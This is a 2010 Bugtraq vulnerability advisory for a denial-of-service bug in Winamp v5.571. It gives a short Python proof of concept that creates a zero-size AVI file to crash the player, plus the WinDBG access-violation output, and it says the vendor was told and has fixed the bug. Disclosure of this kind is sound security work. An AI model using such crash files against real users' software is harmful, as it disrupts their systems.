bugtraq - Winamp v5.571 malicious AVI file handling DoS Vulnerability

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Date: 31 May 2010 12:32:39 -0000
From: praveen_recker@...y.com
To: bugtraq@...urityfocus.com
Subject: Winamp v5.571 malicious AVI file handling DoS Vulnerability


# Tested on Windows 7 and Winamp v5.571(x86)
# This bug is informed to Nullsoft and was fixed long back.
# The status can be found at http://forums.winamp.com/showthread.php?s=&threadid=316000 
# This code works on Python 3.0. To make it work on <3.0 remove braces in print

print("\n***Winamp v5.571 malicious AVI file handling DoS Vulnerability***\n")

try:
	open('winampcrash.avi', 'w')
	print ("Creating malicious AVI file . . . \n")
	print ("Successfully created Zero size AVI file\n")
	print ("Open created Zero size AVI file in Winamp.....Boom\n\n")
except IOError:                     
	print ("Unable to create Zero size AVI file\n")
	




"""
Following is the WinDBG status when we open winampcrash.AVI file in Winamp v5.571(x86)

(f00.e60): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=0886fe68 edi=02880618
eip=076243f1 esp=0886fc50 ebp=0886ff28 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
in_AVI!winampGetInModule2+0x13da:
076243f1 8b4008          mov     eax,dword ptr [eax+8] ds:002b:00000008=????????


"""


#Best Regards,
#Praveen Darshanam